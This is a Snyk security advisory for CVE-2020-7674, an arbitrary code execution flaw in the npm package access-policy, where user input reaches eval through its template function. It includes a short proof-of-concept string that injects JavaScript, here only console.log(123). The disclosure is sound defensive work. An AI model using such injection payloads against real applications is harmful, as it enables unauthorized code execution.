Arbitrary Code Execution

Affecting access-policy package, versions *

INTRODUCED: 5 JUN 2020 CVE-2020-7674 CWE-78 FIRST ADDED BY SNYK

Share

How to fix?

There is no fixed version for `access-policy`.

Overview

access-policy is a package that encodes and decodes policy JSON files for use with web applications.

Affected versions of this package are vulnerable to Arbitrary Code Execution. User input provided to the `template` function is executed by the `eval` function resulting in code execution.

PoC

```
var a = require("access-policy"); var statements = ``;console.log(123);//''; data = {}; a.encode(statements,data)
```

References

- Vulnerable Code

HIGH

Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	Low
Confidentiality	HIGH

See more

NVD 9.8 CRITICAL

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk ID	SNYK-JS-ACCESSPOLICY-571490
Published	5 Jun 2020
Disclosed	5 Jun 2020
Credit	JHU System Security Lab

Report a new vulnerability | Found a mistake?

Do Not Sell My Personal Information

CONTACT US

Support

Report a new vuln

Press Kit

Events

FIND US ONLINE

TRACK OUR DEVELOPMENT

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.